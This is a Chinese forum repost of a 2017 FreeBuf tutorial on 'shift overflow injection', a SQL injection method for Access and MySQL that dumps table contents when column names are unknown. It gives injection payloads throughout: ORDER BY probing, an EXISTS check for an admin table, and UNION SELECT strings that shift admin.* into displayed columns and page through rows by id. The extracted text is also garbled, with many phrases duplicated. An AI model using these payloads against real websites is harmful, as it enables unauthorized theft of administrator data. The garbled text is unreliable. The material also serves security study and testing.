搜索

[11085] 2017-03-02_移位溢注：告别靠人品的偏移注入

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2017-03-02_移位溢注：告别靠人品的偏移注入 移 位 溢 注 ： 告 别 靠 人 品 的 偏 移 注 入 S e a g u l l G R   F r e e B u f   2 0 1 7 - 0 3 - 0 2 * 本 文 原 创 作 者 ： S e a g u l l G R ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 在 在 A c c e s s 数 据 库 类 型 注 入 的 时 候 ， 我 们 获 取 不 到 列 名 数 据 库 类 型 注 入 的 时 候 ， 我 们 获 取 不 到 列 名 ( 前 提 是 有 表 名 前 提 是 有 表 名 ) ， 一 般 会 选 择 使 用 偏 移 注 入 ， 但 是 这 种 注 入 方 式 往 往 ， 一 般 会 选 择 使 用 偏 移 注 入 ， 但 是 这 种 注 入 方 式 往 往 借 助 的 是 个 人 的 人 品 ， 且 步 骤 繁 琐 。 本 文 中 我 们 研 究 了 一 种 新 的 注 入 技 术 让 借 助 的 是 个 人 的 人 品 ， 且 步 骤 繁 琐 。 本 文 中 我 们 研 究 了 一 种 新 的 注 入 技 术 让 “ 偏 移 注 入 不 再 需 要 人 品 偏 移 注 入 不 再 需 要 人 品 ” 。 。 在 这 里 定 义 这 种 注 入 技 术 为 ： 在 这 里 定 义 这 种 注 入 技 术 为 ： “ 移 位 溢 注 技 术 移 位 溢 注 技 术 ” 。 它 适 用 于 。 它 适 用 于 A C C E S S 和 和 M Y S Q L （ 任 何 版 本 ） 。 （ 任 何 版 本 ） 。 我 们 先 来 看 看 普 通 的 偏 移 注 入 步 骤 ： 1 . 判 断 注 入 点 2 . o r d e r   b y   判 断 长 度 3 . 判 断 表 名 4 . 联 合 查 询 5 . 获 取 表 中 列 数 ： u n i o n   s e l e c t   1 , 2 , 3 , 4 , . . , *   f r o m   T A B L E 6 . 开 始 偏 移 注 入 ： T A B L E   a s   a   i n n e r   j o i n   T A B L E   a s   b   o n   a . i d = b . i d 由 于 步 骤 6 的 方 法 过 于 需 要 人 品 值 ， 且 语 句 繁 琐 ， 因 此 在 这 里 ， 我 们 研 究 新 的 注 入 技 术 。 首 先 来 看 看 步 骤 6 语 句 的 整 体 意 思 ： 步 骤 步 骤 6 的 语 句 ， 表 示 给 的 语 句 ， 表 示 给 T A L B E 取 取 2 个 别 名 ， 然 后 分 别 用 别 名 取 查 询 个 别 名 ， 然 后 分 别 用 别 名 取 查 询 T A L B E 的 内 容 （ 表 的 内 容 （ 表 a 和 表 和 表 b ） ； 而 ） ； 而 o n   a . i d   =   b . i d   这 样 的 条 件 这 样 的 条 件 是 为 了 满 足 语 法 需 求 ， 实 际 并 没 有 作 用 ， 因 为 相 同 内 容 的 表 ， 相 同 字 段 内 容 一 定 相 同 。 是 为 了 满 足 语 法 需 求 ， 实 际 并 没 有 作 用 ， 因 为 相 同 内 容 的 表 ， 相 同 字 段 内 容 一 定 相 同 。 这 时 ， 我 们 再 回 过 头 来 看 步 骤 5 ： 由 于 联 合 查 询 中 由 于 联 合 查 询 中 s e l e c t 后 面 添 加 数 字 的 目 的 是 为 了 让 联 合 查 询 返 回 接 结 果 和 网 站 正 常 查 询 返 回 的 结 果 的 列 数 一 致 （ 不 一 致 数 后 面 添 加 数 字 的 目 的 是 为 了 让 联 合 查 询 返 回 接 结 果 和 网 站 正 常 查 询 返 回 的 结 果 的 列 数 一 致 （ 不 一 致 数 据 库 会 报 错 ， 页 面 无 法 显 示 ） ， 且 据 库 会 报 错 ， 页 面 无 法 显 示 ） ， 且 * 表 示 通 配 符 ， 可 以 表 示 整 个 表 格 所 有 列 ； 因 此 这 里 通 过 数 字 来 占 位 ， 并 使 用 表 示 通 配 符 ， 可 以 表 示 整 个 表 格 所 有 列 ； 因 此 这 里 通 过 数 字 来 占 位 ， 并 使 用 * 来 替 代 来 替 代 T A B L E 中 的 所 有 列 ， 使 得 联 合 查 询 可 以 完 成 ， 并 推 算 出 中 的 所 有 列 ， 使 得 联 合 查 询 可 以 完 成 ， 并 推 算 出 * 的 值 。 的 值 。 这 时 候 我 们 继 续 研 究 偏 移 注 入 的 整 体 公 式 方 法 整 体 公 式 方 法 ， 发 现 即 使 使 用 多 级 偏 移 注 入 也 需 要 一 定 的 概 率 ( 人 品 值 ) 才 可 以 得 到 想 要 的 结 果 ， 所 以 我 们 就 尝 试 研 究 新 的 方 法 能 不 能 替 换 这 种 不 固 定 概 率 的 方 法 。 现 在 我 们 重 新 整 理 一 下 S Q L 语 句 ， 从 联 合 查 询 开 始 ： 1 . 原 原 u n i o n 语 句 ： 语 句 ： u n i o n   s e l e c t   1 , 2 , 3 , . . , p . . , n   f r o m   T A B L E （ p = 页 面 爆 出 的 数 字 ， 可 能 有 多 个 p 1 , p 2 . . ； n = 原 网 站 查 询 的 总 列 数 ； T A L B E = 我 们 获 得 的 表 名 ； 下 面 开 始 就 使 用 上 述 字 母 的 定 义 ） 2 . 新 语 句 ： 新 语 句 ： u n i o n   s e l e c t   1 , 2 , 3 , . . , p - 1 , T A B L E . * , p + k , . . , n   f r o m   T A B L E   w h e r e   字 段 名   =   字 段 内 容     在 p 的 位 置 爆 出 T A L B E 表 中 第 一 个 字 段 的 内 容 （ 其 他 位 置 还 可 能 爆 出 更 多 内 容 。 这 里 如 果 存 在 已 知 字 段 名 可 以 使 用 ， 没 有 就 不 用 ， 一 般 i d 这 个 字 段 时 存 在 的 ， 可 以 使 用 i d   =   1 来 显 示 第 一 行 ） u n i o n   s e l e c t   1 , 2 , 3 , . . , p - 2 , T A B L E . * , p + k - 1 , . . , n   f r o m   T A B L E   w h e r e   字 段 名   =   字 段 内 容
在 p 的 位 置 爆 出 T A L B E 表 中 第 二 个 字 段 的 内 容 （ 其 他 位 置 还 可 能 爆 出 更 多 内 容 ） u n i o n   s e l e c t   1 , 2 , 3 , . . , p - 3 , T A B L E . * , p + k - 2 , . . , n   f r o m   T A B L E   w h e r e   字 段 名   =   字 段 内 容 在 p 的 位 置 爆 出 T A L B E 表 中 第 三 个 字 段 的 内 容 （ 其 他 位 置 还 可 能 爆 出 更 多 内 容 ） 注 ： 这 里 一 定 是 注 ： 这 里 一 定 是 T A L B E . * 而 不 是 而 不 是 * 3 . 1   以 此 类 推 可 以 爆 出 以 此 类 推 可 以 爆 出 T A L B E 的 每 一 列 内 容 。 的 每 一 列 内 容 。 3 . 2   如 果 如 果 p < k 则 没 法 爆 出 则 没 法 爆 出 p + 1 列 至 列 至 k 列 的 内 容 ， 如 果 列 的 内 容 ， 如 果 n - p < k 则 无 法 爆 出 第 则 无 法 爆 出 第 1 列 至 列 至 k - ( n - p ) 列 。 列 。 原 理 原 理 1 . 由 原 语 句 ： u n i o n   s e l e c t   1 , 2 , 3 , . . , p . . , n - k , *   f r o m   T A B L E   可 以 得 出 该 联 合 查 询 的 目 的 是 构 造 和 原 网 站 相 同 列 数 的 查 询 结 构 ， 使 得 页 面 上 可 以 显 示 对 应 的 数 字 ； 这 条 语 句 相 当 于 是 做 了 两 次 查 询 并 将 它 们 的 结 果 合 并 ， 第 一 次 做 了 s e l e c t   1 , 2 , 3 , . . , n - k   f r o m   T A L B E   ， 第 二 次 做 了 s e l e c t   *   f r o m   T A L B E   ， 然 后 将 它 们 的 结 果 合 并 。 这 可 以 参 考 m y s q l 的 语 句 ： s e l e c t   1 , 2 , 3 , 4 , 5 , a d m i n . *   f r o m   a d m i n ; 2 . 只 要 满 足 原 理 1 的 要 求 ， 保 障 联 合 查 询 的 结 果 和 原 网 站 查 询 的 结 果 列 数 一 致 即 可 ； 因 此 可 以 将 T A L B E . * 向 前 移 动 至 页 面 显 示 的 数 字 处 来 爆 出 T A L B E 列 中 的 内 容 。 这 可 以 参 考 m y s q l 的 语 句 ：
s e l e c t   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0   f r o m   n e w s   w h e r e   i d   = 1   u n i o n   s e l e c t   1 , 2 , 3 , 4 , 5 , 6 , 7 , a d m i n . *   f r o m   a d m i n ; s e l e c t   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0   f r o m   n e w s   w h e r e   i d   = 1   u n i o n   s e l e c t   1 , 2 , 3 , a d m i n . * , 7 , 8 , 9 , 1 0   f r o m   a d m i n ; 注 ： 假 设 数 字 4 、 5 在 页 面 显 示 。 由 下 图 可 知 ， 其 实 数 据 已 近 查 询 出 来 ， 但 是 页 面 没 有 显 示 ， 这 个 是 通 过 平 移 查 询 结 果 到 页 面 显 示 的 数 字 上 去 ， 即 可 爆 出 敏 感 字 段 。 例 子 ： 例 子 ： 步 骤 步 骤 1 ： 判 断 注 入 点 是 否 存 在   步 骤 步 骤 2 ： 判 断 字 段 长 度 ： o r d e r   b y   3 5  
步 骤 步 骤 3 ： 获 得 表 名 ( 必 备 条 件 )       a n d   e x i s t s ( s e l e c t   *   f r o m   a d m i n ) 步 骤 步 骤 4 ： 获 取 不 了 列 名 （ 当 尝 试 多 个 常 用 字 段 名 以 后 ， 最 终 还 是 发 现 无 法 获 得 字 段 名 ） 步 骤 步 骤 5 ： 使 用 联 合 查 询 ( u n i o n   s e l e c t ) 步 骤 步 骤 6 ： 使 用 新 注 入 技 术 方 法 （ 1 ） 获 取 a d m i n 表 的 列 数 ： U N I O N   S E L E C T   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 , 2 6 , 2 7 , 2 8 , 2 9 , 3 0 , 3 1 , 3 2 , 3 3 , 3 4 , *   f r o m   a d m i n — — 返 回 错 误 页 面 U N I O N   S E L E C T   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 , 2 6 , 2 7 , 2 8 , 2 9 , 3 0 , 3 1 , 3 2 , 3 3 , *   f r o m   a d m i n — — 返 回 错 误 页 面 U N I O N   S E L E C T   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 , 2 6 , 2 7 , 2 8 , 2 9 , 3 0 , 3 1 , 3 2 , *   f r o m   a d m i n — — 返 回 错 误 页 面 U N I O N   S E L E C T   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 , 2 6 , 2 7 , 2 8 , 2 9 , 3 0 , 3 1 , *   f r o m   a d m i n — — 返 回 错 误 页 面 … U N I O N   S E L E C T   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 , 2 6 , 2 7 , 2 8 , 2 9 , *   f r o m   a d m i n — — 返 回 步 骤 5 页 面 ， 因 此 a d m i n 表 的 列 数 为 6
（ 2 ） 由 于 网 页 中 包 含 连 续 数 字 ， 表 示 可 以 显 示 连 续 的 查 询 结 果 ， 构 造 S Q L 语 句 查 询 前 四 列 第 一 行 。 U N I O N   S E L E C T   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 , 2 6 , 2 7 , a d m i n . * , 3 4 , 3 5   f r o m   a d m i n （ 3 ） 由 第 一 行 第 一 列 内 容 为 1 ， 可 以 猜 测 该 表 有 i d 字 段 ， 因 此 修 改 语 句 获 取 其 他 行 。 U N I O N   S E L E C T   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 , 2 6 , 2 7 , a d m i n . * , 3 4 , 3 5   f r o m   a d m i n   w h e r e   i d   =   3  
总 结 总 结 在 这 里 我 们 命 名 这 种 新 注 入 技 术 为 “ 移 位 溢 注 移 位 溢 注 ” 。 由 此 如 果 M Y S Q L 小 于 5 . 0 的 情 况 下 所 具 备 的 条 件 和 A C C E S S 一 样 ， 也 可 以 使 用 此 方 法 注 入 ， 如 果 是 M Y S Q L 大 于 5 . 0 的 版 本 ， 使 用 此 方 法 可 以 省 去 获 得 列 名 的 步 骤 。 * 本 文 原 创 作 者 ： S e a g u l l G R ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载   （ M S T . L A B   H I - O U R L I F E   米 斯 特 实 验 室   @   S e a g u l l ） 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理